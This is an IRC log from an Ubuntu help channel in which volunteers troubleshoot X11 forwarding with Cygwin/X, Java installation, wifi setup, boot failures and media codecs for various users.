[03:39] <un_operateur> JayPro, I don't mean the default VNC "server" that comes on ubuntu -- I was talking about configuring and installing tightVNC or realVC
[03:39] <pike_> olimpico: np. hope you get it working
[03:39] <olimpico> pike_: I already installed all, so I'll restart
[03:39] <ikonia> user-land well I can't use "everything" eg: as some of the font updates, I don't use because I don't use those fonts, so what I was using "worked fine"
[03:39] <ikonia> user-land do you have a specific question
[03:39] <amir__> How do I install java through terminal? Java runtime eviroment
[03:40] <JayPro> un_operateur ohhh ...yeah. i think thats all you would need
[03:40] <ikonia> amir__ just use apt or synaptic gui to get it from the repo
[03:40] <amir__> ikonia: I don't know what to choose from
[03:40] <un_operateur> amir__, asudo aptitude install sun-java5-bin
[03:40] <mneptok> FactTech: -universe is maintained by community volunteers, Debian and Ubuntu.
[03:40] <amir__> un_operateur: thanks
[03:40] <un_operateur> amir__, s/asudo/sudo/
[03:41] <JayPro> ikonia so gdm and gnome-desktop diidnt work.... do i not just type that into the terminal?
[03:41] <ikonia> JayPro what happens when you type "gdm" into the terminal
[03:41] <FactTech> mneptok I understand that, but is there a central coordinator of some sort? How would one upload a new or updated package?
[03:41] <user-land> ikonia, updates requiring a reboot i like to know if others had problems before applying them.
[03:41] <un_operateur> amir__, you can always search using  -- aptitude search packagename
[03:41] <JayPro> ikonia it does nothing
[03:41] <ikonia> user-land what does it matter if other had/hadn't had problems, its doubtful they are running the same hardware and config as you
[03:41] <diederick> ooops
[03:41] <ikonia> JayPro does it return a prompt ?
[03:41] <mneptok> FactTech: /join #ubuntu-motu
[03:42] <izacega> / join #idioti
[03:42] <JayPro> ikonia yeah, after a push enter, it gives me another prompt
[03:42] <ikonia> JayPro show me the output of "echo $DISPLAY"
[03:42] <FactTech> mneptok Aha! Thanks.
[03:43] <diederick> jrib: well I'll have a look at it another time.. have to work no
[03:43] <diederick> w
[03:43] <user-land> probabilities, ikonia
[03:43] <jrib> diederick: k
[03:43] <ikonia> user-land well if its in the repo - its classed as stable, what more do you want
[03:43] <JayPro> ikonia "localhost:10.0"
[03:43] <ikonia> JayPro I see
[03:43] <user-land> testers, ikonia.
[03:44] <ikonia> JayPro what happens if you type "xterm"
[03:44] <ikonia> user-land its been through testing to be marked as stable
[03:44] <diederick> when I've connected to a windows share where can I find it using a terminal?
[03:44] <ikonia> user-land if your that bothered by stability - use ubuntu 6.0.6 LTS
[03:44] <JayPro> ikonia another xterm appears
[03:44] <amir__> How do I open jre-1_5_0_10-linux-i586-rpm.bin ?
[03:44] <ikonia> JayPro perfect - so that is the right display
[03:44] <user-land> ikonia, do you remember the fiasko for the users updating to Ubuntu 6.10 ?
[03:44] <mneptok> amir__: you don't
[03:44] <ikonia> user-land yes, very
[03:44] <user-land> ok
[03:45] <ikonia> user-land that doesn't mean much though
[03:45] <mneptok> amir__: install Java from the Ubuntu repoitories
[03:45] <user-land> that was not well tested.
[03:45] <mneptok> *repositories
[03:45] <amir__> mneptok:  But it wont work
[03:45] <erUSUL> !java | amir__
[03:45] <ubotu> amir__: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[03:45] <mneptok> amir__: yes, it will
[03:45] <user-land> not for you, but for the users it was a problem.
[03:45] <ikonia> user-land updating to a different distro release - and a stable xorg update = means nothing - totally diferent
[03:46] <amir__> mneptok: Iv'e tried, how do you install jre-1_5_0_10-linux-i586-rpm.bin ?
[03:46] <JayPro> ikonia yeah, i was following the dirrections listen on http://en.wikipedia.org/wiki/Cygwin/X under "external remote window manager", section "putty", and i seem to run into a wall when i reach the step run "wmaker"
[03:46] <ikonia> user-land its classed as stable - its been running for a while, you're not going to get better certified than that
[03:46] <ikonia> JayPro thats because you don't want to run window maker
[03:46] <JayPro> haha
[03:46] <mneptok> amir__: what happened when you tried?
[03:46] <ikonia> JayPro try sudo gdm &
[03:46] <diederick> where are shares mounted?
[03:46] <olimpico> pike_: I got wifi0 but not with ifconfig
[03:47] <user-land> ikonia, there are always those who think from now on things are done as supposed. experience shows they are often not.
[03:47] <olimpico> pike_: Only with dmesg
[03:47] <XVampireX> 04:39:49 PM: xine: cannot find input plugin for MRL [http://f4.aznv.tv/doStream/MTcyMTIsMDg4MDEwMWNiZGMyNzI0M2E0MTY1OThiOTNiMmNhMGY3ZGQ0YWM1YQ==/s.TYPE-bW92aWVz/s.ID-OA==/p.ID-MQ==/[TV] _Once_Upon_A_Time_In_High_School_-_Part_1.nsv] 
[03:47] <mnoir> user-land: from your conversation, it is clear that, like me, you have no business running 6.10
[03:47] <XVampireX> 04:39:49 PM: xine: input plugin cannot open MRL [http://f4.aznv.tv/doStream/MTcyMTIsMDg4MDEwMWNiZGMyNzI0M2E0MTY1OThiOTNiMmNhMGY3ZGQ0YWM1YQ==/s.TYPE-bW92aWVz/s.ID-OA==/p.ID-MQ==/[TV] _Once_Upon_A_Time_In_High_School_-_Part_1.nsv] 
[03:47] <XVampireX> 04:39:49 PM: input_http: invalid http answer
[03:47] <XVampireX> 04:39:47 PM: xine: found input plugin  : http input plugin
[03:47] <XVampireX> err, oops
[03:47] <XVampireX> http://www.ubuntuforums.org/showthread.php?p=2002754#post2002754
[03:47] <ikonia> user-land but the updates have been out for a while - if they where poor they would have been pulled or fixed by now
[03:47] <ubuntu23> vre-un roman care sa se priceapa e p'aici?
[03:47] <user-land> mnoir, you had problems running 6.10 ?
[03:47] <ikonia> user-land me saying "it worked great" means nothing - it could still crash your whole box
[03:47] <JayPro> ikonia but what if i wanted to do this if i was just a typical user, without knowing the root password
[03:47] <amir__> mneptok: I got a swedish version of ubuntu you won't understand the message
[03:47] <mneptok> !ro | ubuntu23
[03:47] <ubotu> ubuntu23: Daca doriti ajutor sau doriti sa discutati despre Ubuntu/Kubuntu/Xubuntu, intrati pe #ubuntu-ro
[03:48] <pike_> olimpico: does "sudo ifconfig wifi0 up"  then ifconfig again show it?
[03:48] <ikonia> JayPro you don't need to know the root password
[03:48] <user-land> yes ikonia. your feedback that they are out for a while helps, thanks.
[03:48] <mnoir> user-land: not a single one - on several machines.  but I do not run first releases and 6.10 is, in a sense, that, where 6.06 is more mature
[03:48] <mneptok> amir__: Babelfisk > pastebin
[03:49] <mnoir> user-land: so 6.10 sits on a secondary machine and 6.06 on my prod machine
[03:49] <user-land> mnoir, even old releases can be and remain bad.
[03:49] <olimpico> pike_: Hey!!! it works, how do I make it to start automatically?
[03:49] <ikonia> mnoir it's a backward thing to do - a multi paltform app - marked as stable...I know I'll ask if anyone has problems, that will certifiy it.
[03:49] <kps> hi, how do i make it so that if i click a link to a pdf (in firefox) that adobe acrobat isn't used, but e.g. evince ?
[03:49] <kps> (i know this isn't ubuntu specific, but i have ubuntu here)
[03:49] <piao> join #ubuntu-cn
[03:49] <JayPro> ikonia how come when it asks for a password, it is not hidden?
[03:49] <amir__> mneptok: Ohh, nvm thanks for your help
[03:49] <ikonia> user-land thats the whole point it could fail for me because a.) I have a bad config b.) I have bad hardware c.) I'm a moron and don't know what I'm doing, that doesn't mean there is a problem with it
[03:49] <mnoir> ikonia: sorry - i did not understand that last comment :)
[03:49] <user-land> mnoir, there are applications that run best with the newest versions. like p2p.
[03:49] <ikonia> JayPro the password is YOUR password
[03:50] <mnoir> user-land: then you do your own last testing before putting into prod
[03:50] <ubuntu23> how much time is it take to install ubuntu 6.10?
[03:50] <secleinteer> does anyone know how i would get vlc/mplayer/kaffeine to play .m4v files?
[03:50] <ikonia> mnoir he wants to know if xorg updates are "safe" depending on feedback he gets from people in here, even though the people in here could have bad configs, bad hardware, be morons, be liars, - rather than its in the "stable" repo
[03:50] <user-land> ikonia, what helps are probabilities. if nobody is complaining that gives a hint about the probable quality.
[03:50] <ikonia> mnoir how is me with my hardare saying "looks good" relevent to ANYTHING on his machine
[03:51] <amir__> !rpm
[03:51] <ubotu> RPM is the RedHat Package Management system. Ubuntu does not use RPM, but !APT, and RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous)
[03:51] <mnoir> ikonia: haha - he thinks the opinion here is better than Cannonical's testing?  I agree!
[03:51] <Hoobly> I am having a real b*tch of a time getting edubuntu 6.10 to run on my machine.  Can someone make some suggestions?
[03:51] <ikonia> mnoir I could be using the intel driver on a CRT and its great, using the vesa driver on a LCD could be borked - how does me saying "its great" mean anything
[03:51] <Hoobly> Everything installs fine, but when I go to boot, immediately after the memory check and disk initialization I get a blinking cursor and nothing else.
[03:51] <ikonia> mnoir exactly !
[03:51] <user-land> mnoir, you have experience, ikonia has the youth :-)
[03:52] <mneptok> Hoobly: platform? motherboard? type of drive? partitioning schema?
[03:52] <ikonia> user-land Hoobly is having a problem with xorg on ubuntu 6.10 - its clearly broke
[03:52] <Hmmmm> does anyone know of a good wiki i can use in a dev environment?
[03:52] <pike_> olimpico: i have not clue about the gui tools.  here is howto connect from command line and the file to edit for automatic:  (first thing sudo ifconfig eth0 down  because two devices at once are screwy to routing)  then 1. sudo ifconfig wifi0 up    2. iwlist wifi0 scan (youll see available networks)   3. sudo iwconfig wifi0 essid whatevernetworkname    4. dhclient wifi0  (obtains an ip and youre connected)    5. sudo nano /etc/network/interfaces  (the f
[03:52] <ikonia> user-land I have youth ??? I you don't know how old I am
[03:52] <mneptok> Hmmmm: Moin
[03:52] <ikonia> user-land the fact that I'm telling you this proves I have expereience as I don't go off what someone I don't know in IRC tells me
[03:52] <mnoir> user-land: he also has, imo, correct views on the use, reliability and applicability of leading, bleeding, and explosive releases
[03:52] <Hoobly> mneptok: default partition scheme.  Erase entire disk and use LVM.  it is a IBM Netvista 6350-11U machine
[03:53] <user-land> ikonia, i just saw a video with Oliver North saying he might be overly naive .... the gangster ... :-)
[03:53] <noobcook> has anyone heard of a usenext project for linux?
[03:53] <rance1> hey guys I have a question about using ubuntu to host an MTA I want to use qmail but that is compiled from source.  on redhat and friends there is a dummy rpm that makes the rpm database THINK sendmail is installed when it really isnt, Im trying to find out if such a similar package is needed for ubuntu/debian
[03:53] <Hmmmm> mneptok, thanks. what's so good about Moin?
[03:53] <ikonia> mnoir I'm sticking this moron on ignore
[03:53] <srecko> hello, where does ubuntu menu store its values? thanks in advance
[03:53] <Hoobly> ikonia: how can I fix xorg?
[03:53] <JayPro> ikonia okay, i typed "sudo gdm &", then it asked for a password.  i typed it in, and was wondering why it's not hidden.  after i pushed return it returned "-bash: <my unhidden password>: command not found".  a couple lines down it says "Stopped       sudo gdm"
[03:54] <XVampireX> http://www.ubuntuforums.org/showthread.php?p=2002754#post2002754
[03:54] <XVampireX> Can anyone please help me with that?
[03:54] <ikonia> JayPro remove the &
[03:54] <ikonia> Hoobly no idea, don't know what your problem was
[03:54] <JayPro> oh haha
[03:54] <un_operateur> JayPro, when using sudo and wanting to detach from the terminal -- use sudo -b .. sudo -b gdm
[03:54] <kane77> i bet the mplayer plugin doesn't play wmv? does it?
[03:54] <adf> crul
[03:55] <ikonia> kane77 does if you download the windows codec
[03:55] <un_operateur> kane77, it does if the mplayer-codecs are installed
[03:55] <JayPro> ikonia well, it didnt do anything; just returned the prompt
[03:55] <ikonia> JayPro very frustrating
[03:55] <FactTech> Hoobly Is there a reason you used the LVM option on setup?
[03:55] <JayPro> yup
[03:55] <ikonia> JayPro find the command that launches the gnome desktop - I don't have an ubuntu box to hand to search
[03:55] <kane77> ikonia, the w32codecs?
[03:55] <ikonia> kane77 yes
[03:55] <adf> lvm logical virtual mmmmm
[03:55] <Hoobly> FactTech: Uh....it's what was easiest
[03:55] <adf> clear
[03:55] <un_operateur> ikonia, JayPro -- nautilus
[03:55] <ikonia> adf logical volume manager
[03:56] <kane77> ikonia, i installed it, but it buffers and then stops...
[03:56] <ikonia> un_operateur danke
[03:56] <JayPro> ikonia aight, thanks for the direction.....
[03:56] <ikonia> kane77 borked
[03:56] <ikonia> JayPro no problem, sorry I can't be more exact
[03:56] <FactTech> Hoobly I'm not sure if the LVM option is easiest. There's a non-LVM option that might be easier.
[03:56] <ikonia> Hoobly whats up - exactly
[03:56] <un_operateur> ikonia, were you trying to get XDMCP running?
[03:56] <mneptok> Hoobly: wait, do you even see a GRUB boot screen?
[03:56] <FactTech> Hoobly I installed it with almost no problems on a couple of old machines, but I avoided LVM.
[03:56] <ikonia> un_operateur nah, he's gone about exporting a display to his windows box a bit funny
[03:57] <ikonia> un_operateur just working through a strange setup a bit
[03:57] <Hoobly> FactTech: I have done it both ways.  Still same problem.
[03:57] <Hoobly> mneptok: no GRUB screen
[03:57] <ikonia> Hoobly do you want to explain the problem exactly please
[03:57] <Hoobly> mneptok: Just a blinking cursor
[03:57] <FactTech> Hoobly Are you using the LiveCD to install it or the text-based install?
[03:57] <JayPro> ikonia, un_operateur so whats the best set up? lets exclude vnc because this will be used my multiple people
[03:58] <Hoobly> FactTech: LiveCD
[03:58] <un_operateur> ikonia, i noticed that his $DISPLAY shows localhost:0.0 .. shouldn't it be  clienthostname:0.0 ? just wondering .. i dont have much experience with X-over-networks
[03:58] <XVampireX> kane77: mplayer can play quite a bit and to play wmv you need w32codecs
[03:58] <Hoobly> ikonia: Installed Ubuntu in graphical mode, everything looks and runs fine.  Restart: blinking cursor
[03:58] <JayPro> hrmmmm
[03:58] <un_operateur> JayPro, in my experience .. VNC can be used by multiple people -- it most definitely does that .. and is well suited for it
[03:58] <ikonia> un_operateur it should but he's using putty x forwarding - which uses localhost and then the remote xserver is assigned a virtual display eg: localhost:.10
[03:58] <FactTech> Hoobly And this happens after a "successful" install when you reboot?
[03:58] <Hoobly> ikonia: no GRUB screen
[03:58] <ikonia> Hoobly bad boot sector
[03:58] <mneptok> Hoobly: re-install, but create a 250MB partition *outside of LVM* and *at the beginning of the disk*
[03:58] <Hoobly> FacTech: Yup.
[03:58] <Skyheath> yoh
[03:59] <mneptok> Hoobly: uso that 250MB for /boot
[03:59] <kane77> XVampireX, I mean streamed windows media... with mplayer plugin
[03:59] <XVampireX> Yes it can
[03:59] <Hoobly> I'll give that a shot
[03:59] <mneptok> Hoobly: s/uso use
[03:59] <pike_> JayPro: i had a pretty long init file once to launch vncserver for about 30 people in office. there was suprisingly little overhead
[03:59] <mneptok> uidaox
[03:59] <Hoobly> mneptok: huh?
[03:59] <XVampireX> kane77: you mean mozilla-mplayer?
[03:59] <kane77> XVampireX, yes
[03:59] <Skyheath> Im having some problems with running things through windows system 32/command prompt like programs. Can anyone help?
[03:59] <ikonia> pike_ thats a good call actually, wouldn't it be better if hs just allowed remote connection to gdm via xdchmp
[03:59] <ikonia> oops
[03:59] <ikonia> tpo
[03:59] <ikonia> typo
[03:59] <Hoobly> how do I boot to safe mode or recovery mode?
[03:59] <un_operateur> ikonia, errm, i wonder what "localhost" in that context really points to  .. the server or the client?
[04:00] <XVampireX> kane77: mozilla-mplayer is just a plugin for mozilla browsers to embed mplayer
[04:00] <FactTech> Hoobly mneptok means "replace 'uso' with 'use' in my last statement"
[04:00] <ikonia> un_operateur server - then ssh forwards back to client
[04:00] <ikonia> sshd does the forwarding
[04:00] <JayPro> hrmm.... i guess ill have to look over vnc once more (in addition to gdm)
[04:00] <ikonia> not X
[04:00] <mnoir> !elaborate | Skyheath
[04:00] <Madeye> are there anyway to compress video files under linux ?
[04:00] <ubotu> Skyheath: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)
[04:00] <ikonia> un_operateur if you see what I mean
[04:00] <Hoobly> FactTech: OK
[04:00] <mneptok> Hoobly: make a seperate partition to use as /boot. create that partition outside of LVM. put it at the beginning of the disk.
[04:00] <kane77> XVampireX, but it doesnt play streamed video...
[04:00] <Skyheath> oook.
[04:00] <XVampireX> kane77: It very much does
[04:00] <ikonia> the localhost:0.10 - .10 = /dev/pty/pts1 - ssh then forwards X down /dev/pts..... to the client
[04:01] <ikonia> un_operateur you with me ?
[04:01] <un_operateur> ikonia, yes i do infact -- just wondering if the client needs to be able to handle X sessions -- AFAIK putty is a purely commandline only, no?
[04:01] <kane77> XVampireX, (for me it doesnt :( )
[04:01] <pike_> ikonia: not familair with xdchmp sounds interesting thanks ill look it up
[04:01] <ikonia> un_operateur he's got a windows X server running
[04:01] <qos> cifs sucks ... it recognizes the uid and gid of my original filesystem instead of using the option i used in my mount command... that really sucks. does anyone know how to solve this?
[04:01] <ikonia> pike_ it was a typo
[04:01] <pike_> ikonia: oh :)
[04:01] <ikonia> I can't remember the correct combo
[04:01] <jannu1> any idea how i can disable ctrl+f xterm shortcut its very annoying ?
[04:01] <ikonia> xdhmp
[04:01] <XVampireX> kane77: Depending on what you mean, but you need flash for many websites nowadays, and I mean as a player, too.
[04:02] <un_operateur> ikonia, yes, but the client he uses from windows i.e. putty needs to be able to handle X .. right? afaik, it only handles SSH
[04:02] <ikonia> un_operateur correct - but sshd on the server deals with the forwarding - if no X windows session is running on the windows box the X11 traffic black holes, the X11 on windows will pick it up
[04:02] <kane77> XVampireX, flash works alright for me... only on pages that use windows media format it displays mplayer... it connects and stops...
[04:02] <Skyheath> If in Run, i type ipconfig, or cmd, the window opens and closes immediately. One example is for a game where i need to transfer mapdata. It asks me to locate the .exe, click create, and then extract. After i click create, it creates a folder, i click extract and it brings up the "command prompt-like" window, only it closes immediately, and nothing at all happens. I checked the folder, and still empty. Ive tried a heap of forums, no
[04:03] <Skyheath> anyone?
[04:03] <ikonia> Skyheath that looks like a windows problem
[04:03] <XVampireX> kane77: You don't have w32codecs, also, mplayer won't play wmv if it has drm
[04:03] <mnoir> Skyheath: if you open a terminal and run there is it ok?
[04:03] <Enverex> Skyheath, That's Windows, not Ubuntu
[04:03] <kane77> XVampireX, I'll check
[04:03] <pike_> ikonia: oh display manager control.  i should probably know about that. *looks it up*
[04:03] <Skyheath> ubuntu is?
[04:03] <kosnick> hay , i installed (at least i think so ) the nvidia drivers following some how to. How do i know the drivers are installed properly?
[04:03] <un_operateur> ikonia, hmm .. wonder if he has full X11 support working on cygwin .. some (if not most) cygwin setups don't
[04:03] <ikonia> un_operateur I wish I was sat next to you - easy to draw and chat
[04:03] <ikonia> pike_ xdmcp
[04:04] <qos> cifs sucks ... it recognizes the uid and gid of my original filesystem instead of using the option i used in my mount command... that really sucks. does anyone know how to solve this?
[04:04] <ikonia> un_operateur it "looks" like it is as remote xterms are being launched etc, but that doesn't mean it is of course
[04:04] <Skyheath> what is ubuntu?
[04:04] <IdleOne> Skyheath: what OS are you running?
[04:04] <Hmmmm> Skyheath, are u mad?
[04:04] <ikonia> Skyheath /join ##windows
[04:04] <un_operateur> ikonia, ohh no, i completely understand you and how X -forwarding works -- it's just that i am curious as to how it works in real-life and you have the experienc e:)
[04:04] <Enverex> Skyheath, Why are you even in this channel?
[04:04] <jrib> !ubuntu | Skyheath
[04:04] <ubotu> Skyheath: Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com and http://wiki.ubuntu.com/UbuntuHowCome
[04:04] <mneptok> qos: you specify that on the server, not the client
[04:05] <Skyheath> oook, thankyouuu jrib
[04:05] <jrib> why don't we welcome Skyheath instead of asking him to leave :)
[04:05] <ikonia> un_operateur yeah I've done a fair bit with X11 forwarding - its a bit rusty though
[04:05] <qos> mneptok, how? it there a nice link where i can read it myself?
[04:05] <IdleOne> Skyheath: if you are running windows type /join ##windows and they can help you there
[04:05] <un_operateur> JayPro, does your cygwin setup have X setup too?
[04:05] <Hmmmm> Skyheath, are u really interested?
[04:05] <Hmmmm> Skyheath, have decent bandwidth and a cd writer?
[04:05] <pike_> Skyheath: download the livecd boot yourr comp from it and check it out.
[04:05] <Enverex> Jram, Because he's got no reason to be here and is just another dim Windows user joining a random "large channel" to ask questions and disregarding any proceedures and protocols in place
[04:05] <mnoir> jrib: read all of Skyheath's messages...I think you will find we extended ourselve properly?
[04:06] <qos> mneptok, u mean i have to change some parts of my smb.conf?
[04:06] <JayPro> un_operateur yes, it does
[04:06] <jrib> mnoir: yeah your're right, I just popped in and saw the last one
[04:06] <un_operateur> ikonia, it's one of the things I have yet to try out .. i should try it out really
[04:06] <Skyheath> yes, i have a decent bandwidth and cd writer, how do i whisper makes this alot easier.
[04:06] <kosnick> hey! i installed the nvidia drivers, how do i know they are installed properly?
[04:06] <mneptok> qos: http://www.cae.wisc.edu/site/public/?title=linpermissions-applications
[04:06] <mnoir> jrib: :)
[04:06] <JayPro> un_operateur "X" and "startx" was executable
[04:06] <Hmmmm> Skyheath, g oto ubuntu.com and download the latest ubuntu
[04:07] <ikonia> un_operateur the basics are easy - but its also quite complex when you start drilling down, very interesting. I'm a bit rusty as I've not done anything in deapth with it as remote X11 is pretty dead in business now
[04:07] <Hmmmm> burn it on a CD and boot ur computer with it
[04:07] <Skyheath> this is for windows.
[04:07] <Hmmmm> then u'll know what ubuntu is
[04:07] <ikonia> Skyheath /join ##windows
[04:07] <Hmmmm> Skyheath, no its an OS like windows
[04:07] <un_operateur> JayPro, errm, what happens when you try and launch a gtk application like nautilus in the session?
[04:07] <JayPro> un_operateur im grabbing some of my info on this site http://en.wikipedia.org/wiki/Cygwin/X which apparently, seems like there is a better way
[04:07] <Hmmmm> Skyheath, it wont harm ur windows installation
[04:07] <JayPro> un_operateur umm....not familiar with it
[04:08] <un_operateur> JayPro, try it out .. at your putty session -- type -  nautilus &
[04:08] <pr3d4t0r> Greetings.
[04:08] <un_operateur> ikonia, yea, seems things like VNC and LTSP have taken over
[04:09] <ikonia> un_operateur exactly
[04:09] <ikonia> unix desktop apps are pretty dead at the moment
[04:09] <pr3d4t0r> Bonjour, un_operateur.
[04:09] <JayPro> un_operateur ohhhh....THAT.. ehhe... yeah, my file browser opened.....
[04:09] <un_operateur> JayPro, eeehah :) nice
[04:10] <un_operateur> pr3d4t0r, hola .. a happy new year to you :) how goes it?
[04:10] <un_operateur> :)
[04:10] <JayPro> un_operateur theres something else thats not quite correct as well.... everytime i open something, errors appear in my terminal
[04:10] <pr3d4t0r> Q. Which version of fwhois do you recommend to use with Ubuntu?  apt-cache search doesn't seem to return the regular fwhois.c, command line program.  Which one do you recommend?
[04:10] <pr3d4t0r> un_operateur: Outstanding, thanks.
[04:10] <M_Fatih>  all
[04:10] <JayPro> WTF
[04:10] <pr3d4t0r> un_operateur: Got the Kubuntu server working like a dream.
[04:10] <ikonia> JayPro don't worry about that - thats your local x server not having the same config as your remote
[04:11] <pr3d4t0r> un_operateur: I find once in a while that I need One More Thing :)
[04:11] <ikonia> JayPro thinks like ** -- Warning font not found -- **
[04:11] <kosnick> nvidia - drivers?
[04:11] <JayPro> ikonia oh okay.....
[04:11] <ikonia> kosnick what about them
[04:11] <kosnick> ikonia : i installed them (at least i think so). How do i know they are properly installed
[04:11] <kosnick> ?
[04:11] <ikonia> JayPro thats fixable at a latter dy
[04:11] <un_operateur> JayPro, well, with my limited understanding of how this works -- seems X is forwarding right but since you haven't really connected upto the desktop, it's a little shaky
[04:11] <ikonia> kosnick what guide did you use
[04:12] <JayPro> ikonia hey whats "gdm" expected to do.... because a window called "desktop JUST appeared, and it has my wallpaper on it, and nothing more
[04:12] <ikonia> un_operateur I'm just checking something - it looks like gdm can't be launched on a remote desktop it has to be connected to from a remote sesssion
[04:12] <ikonia> trying to finx the correct command to do this
[04:12] <mgenov> hi, any ideas how can i login in Gnome via root account
[04:12] <kosnick> ikonia :some how to from the net ( Unofficial Ubuntu 6.06 (Dapper Drake) Starter Guide)
[04:12] <mgenov> i have setted my root password
[04:12] <jrib> !root | mgenov
[04:12] <ubotu> mgenov: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[04:12] <ikonia> kosnick then it should tell you how to check
[04:12] <ikonia> mgenov you're not mean to
[04:12] <mgenov> jrib, i know that
[04:12] <jrib> mgenov: "Look at https://help.ubuntu.com/community/RootSudo for all information."
[04:12] <un_operateur> ikonia, precisely .. connecting to it is the issue here now :)
[04:13] <ikonia> mgenov if you're messing with root you should know what to edit to enable root logins
[04:13] <mneptok> pr3d4t0r: jwhois? (in repos - http://www.gnu.org/software/jwhois/ )
[04:13] <M_Fatih> i have a problem with vmware server, when my computer starts or i want to start vmware, vmnet-dhcpd process goes to my pc freak.. dhcpd process uses ~~350mb ram and makes my computer useless.. if i don't kill vmnet-dhcpd process, ram not goes free... what is the problem and how can i fix this?
[04:13] <un_operateur> pr3d4t0r, eh, i have the same issue with debian too :) always something new to install :)
[04:13] <LilEndian> Hi. i am sharing an internet conenction through ICS on a windows box. I get no problems when using azureus on the Windows Machine.
[04:13] <srecko> Hello
[04:13] <jrib> mgenov: and note taht I don't recommend you enable it
[04:13] <ikonia> un_operateur there is a command on doing this, I'm trying to find it in some old notes, used to be a problem with xdm years ago rather than a feature as it is in gdm
[04:13] <nat3> hi
[04:13] <LilEndian> but when i try it on my ubuntu machine, it gives me the NAT error.
[04:13] <pr3d4t0r> mneptok: I'm looking at it.
[04:14] <janga> Hey guys, can you help me out with a Ubuntu 6.10 problem? Sound crashes when i turn up volume over 80%. Hardware is Jetway C7 Mini-ITX, sound is VIA 8237. Not much information on the net...
[04:14] <LilEndian> what exactly am i doing wrong here? i've turned off all the firewalls on the windows machine
[04:14] <pr3d4t0r> mneptok: I was trying to find something standard, like fwhois.
[04:14] <pr3d4t0r> un_operateur: HeH.
[04:14] <jannu1> how i can disable xterm shortcut ctrl+f ?
[04:14] <un_operateur> ikonia, i'm reading the XDMCP howto trying to understand it too .. maybe you'll find something in it http://www.faqs.org/docs/Linux-HOWTO/XDMCP-HOWTO.html
[04:14] <LilEndian> is there anything i need to do on the ubuntu box for it to get through to the bittorrent ports?
[04:14] <LilEndian> !azureus
[04:14] <ubotu> azureus is a popular bittorent client written in Java, installation instructions can be found at https://help.ubuntu.com/community/AzureusHowTo
[04:14] <ikonia> un_operateur got no web access - hence why I'm checking some "old" notes
[04:14] <pr3d4t0r> mneptok: It seems like jwhois has GNU-only extensions.
[04:14] <ikonia> LilEndian the problem is with your ICS config - fix that
[04:15] <dumbintel> i added emacs and it only runs xemacs how can I run it on the terminal?
[04:15] <un_operateur> ikonia, ha .. i see .. :)
[04:15] <srecko> I've got an issue. I did mess with files a little, not sure what... :) I'm sorry, I won't do it again. This is what I get when I try to install using apt-get = dpkg: serious warning: files list file for package `openoffice.org-impress' missing, assuming package has no files currently installed.dpkg: serious warning: files list file for package `openoffice.org-impress' missing, assuming package has no files currently installed.
[04:15] <janga> Hey guys, can you help me out with a Ubuntu 6.10 problem? Sound crashes when i turn up volume over 80%. Hardware is Jetway C7 Mini-ITX, sound is VIA 8237. Not much information on the net...
[04:15] <LilEndian> even when its turned off? if its port forwarding we're talking about, i've set an open UDP/TCP port on the windows machine giving access to this PC to use 'em on the network.
[04:15] <jrib> srecko: what files did you mess with?
[04:15] <LilEndian> what else could go wrong?
[04:16] <srecko> jrib, can't remember, man. I know I'm stupid... :\
[04:16] <pr3d4t0r> Ah, the main command language options are equivalent to regular whois.  Cool - thanks!
[04:16] <ikonia> LilEndian bottom line is - your network is not configured properly
[04:16] <MarcN> I need a cheap wireless G pcmcia card for my myth box.  Any brand recommendations or to stay away from?
[04:16] <pike_> LilEndian: 'sudo iptables -L' will probably say accept to inbound forward and outbound ubuntu doesnt really have any rules setup by default so it is likely another problem
[04:16] <nat3> I have problem with another lang filename when i want to burn it to cdrom with gnome baker. have any idea to write it?
[04:16] <ikonia> LilEndian its nothing to do with ubuntu
[04:16] <jrib> srecko: try reinstalling the packages it complains about
[04:16] <mneptok> pr3d4t0r: enjoy. great on a cracker. :)
[04:16] <srecko> jrib, there's plenty of them :\
[04:16] <un_operateur> JayPro, ok, seems like everthing you need is here http://www.faqs.org/docs/Linux-HOWTO/XDMCP-HOWTO.html .. what you are missing is probably that gdm isnt set to listen for XDMCP requests
[04:16] <jrib> srecko: that's ok
[04:16] <srecko> ^
[04:17] <srecko> ^^
[04:17] <dumbintel> nm got it
[04:17] <M_Fatih> i have a problem with vmware server, when my computer starts or i want to start vmware, vmnet-dhcpd process goes to my pc freak.. dhcpd process uses ~~350mb ram and makes my computer useless.. if i don't kill vmnet-dhcpd process, ram not goes free... what is the problem and how can i fix this?
[04:17] <LilEndian> ikonia, pike_ let me see which one of you is right :D
[04:17] <dumbintel> emacs -nw
[04:17] <ikonia> un_operateur thats the stuff - its a check box in in gdm setup screen
[04:17] <ikonia> LilEndian we both said the same thing
[04:17] <un_operateur> JayPro, ikonia also .. probably to enable XDCMP support in /etc/X11/gdm/gdm.conf
[04:17] <pike_> LilEndian: wait i agree with ikonia i think
[04:18] <ikonia> un_operateur yup - but then the question is - what do you use to attatch to it ?
[04:18] <JayPro> hrmm
[04:18] <ikonia> JayPro very interesting stuff, not done this for ages
[04:18] <srecko> ok..
[04:18] <un_operateur> ikonia, I havent come to that section in the howto yet :) .. i think you just connect normally after X-forwarding is enabled
[04:19] <srecko> think I got the problem :)
[04:19] <ikonia> un_operateur but he's not doing it normally - he's using a client to "launch" an X app
[04:19] <ikonia> un_operateur I know where your going with how it "should" be done though
[04:19] <JayPro> ikonia yeah, usually i would have left the channel already, but i found your convo with un_operateur interesting hehh
[04:20] <ikonia> un_operateur I don't think cygwin can do "listen for xdmcp broacasts" or "connect to"
[04:20] <ikonia> un_operateur I've only seen that done with apps like reflection X, or Exceed or pc-X-ware
[04:20] <ikonia> or another unix X11 server - which is easy
[04:21] <jrib> srecko: what was it?
[04:21] <un_operateur> ikonia, well, thats the problem right now, he hasnt got XDMCP support up -- so when he connects to the server, putty puts him in a console .. i presume that if he gets XDMCP support up .. then when he connects via putty he will be sent straight to the GDM screen
[04:21] <JayPro> ikonia i actually started out by looking for exceed, found that i had to pay for it, so searched for pcxware, then somehow ran into cygwin
[04:21] <ikonia> un_operateur disagree %150 - but lets find out
